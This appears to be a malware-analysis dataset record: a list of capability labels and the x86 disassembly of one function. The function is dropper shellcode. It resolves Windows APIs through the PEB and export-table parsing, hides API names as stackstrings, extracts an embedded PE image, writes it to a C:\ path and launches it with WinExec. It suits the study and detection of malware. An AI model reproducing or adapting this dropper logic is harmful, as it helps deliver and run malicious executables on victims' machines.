Function at 0x51b000
Capabilities:
Accept command line arguments
Access peb ldr_data
Contain obfuscated stackstrings
Copy file
Create directory
Delete file
Get common file path
Get file system object information
Resolve function by parsing pe exports
Set current directory
Shutdown system
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
mov eax, dword fs:[0x30]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x18], 0x3b400
mov dword [ebp - 0x3c], 0x365c3a43
mov dword [ebp - 0x38], 0x36376363
mov dword [ebp - 0x34], 0x2e626536
mov dword [ebp - 0x30], 0x657865
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0xc]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x74], 0x50746547
mov dword [ebp - 0x70], 0x41636f72
mov dword [ebp - 0x6c], 0x65726464
mov dword [ebp - 0x68], 0x7373
and dword [ebp - 0x78], 0
jmp 0x51b0b2
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x78]
cmp ecx, dword [eax + 0x18]
jae 0x51b14b
mov dword [ebp - 0x84], 1
and dword [ebp - 0x80], 0
and dword [ebp - 0x7c], 0
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0xc]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x80], edx
lea eax, [ebp - 0x74]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x7c]
movsx eax, byte [eax]
test eax, eax
je 0x51b11b
mov eax, dword [ebp - 0x7c]
movsx eax, byte [eax]
mov ecx, dword [ebp - 0x80]
movsx ecx, byte [ecx]
cmp eax, ecx
je 0x51b10b
and dword [ebp - 0x84], 0
jmp 0x51b11b
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
jmp 0x51b0e8
cmp dword [ebp - 0x84], 1
jne 0x51b146
mov eax, dword [ebp - 0x80]
movsx eax, byte [eax]
test eax, eax
jne 0x51b146
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x44]
movzx eax, word [ecx + eax*2]
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0xc]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x4c], edx
jmp 0x51b14b
jmp 0x51b0ab
mov dword [ebp - 0x74], 0x4d746547
mov dword [ebp - 0x70], 0x6c75646f
mov dword [ebp - 0x6c], 0x6e614865
mov dword [ebp - 0x68], 0x41656c64
and dword [ebp - 0x64], 0
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x4c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x74], 0x6e72654b
mov dword [ebp - 0x70], 0x32336c65
mov dword [ebp - 0x6c], 0x6c6c642e
and dword [ebp - 0x68], 0
lea eax, [ebp - 0x74]
push eax
call dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x74], 0x61657243
mov dword [ebp - 0x70], 0x69466574
mov dword [ebp - 0x6c], 0x41656c
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x4c]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x74], 0x74697257
mov dword [ebp - 0x70], 0x6c694665
mov dword [ebp - 0x6c], 0x65
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x4c]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x74], 0x736f6c43
mov dword [ebp - 0x70], 0x6e614865
mov dword [ebp - 0x6c], 0x656c64
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x4c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x74], 0x456e6957
mov dword [ebp - 0x70], 0x636578
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0xc]
call dword [ebp - 0x4c]
mov dword [ebp - 4], eax
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x3c]
push eax
call dword [ebp - 0x54]
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xffffffff
je 0x51b2d4
call 0x51b247
pop eax
mov dword [ebp - 0x88], eax
and dword [ebp - 0x8c], 0
jmp 0x51b264
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0x1f4
jge 0x51b2d4
mov eax, dword [ebp - 0x88]
movsx eax, byte [eax]
cmp eax, 0x4d
jne 0x51b2c5
mov eax, dword [ebp - 0x88]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x51b2c5
mov eax, dword [ebp - 0x88]
movzx eax, word [eax + 2]
cmp eax, 0x90
jne 0x51b2c5
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x18]
push dword [ebp - 0x88]
push dword [ebp - 0x40]
call dword [ebp - 0x20]
push dword [ebp - 0x40]
call dword [ebp - 0x10]
push 5
lea eax, [ebp - 0x3c]
push eax
call dword [ebp - 4]
jmp 0x51b2d4
mov eax, dword [ebp - 0x88]
inc eax
mov dword [ebp - 0x88], eax
jmp 0x51b257
leave
add esp, 4
jmp 0x4036c8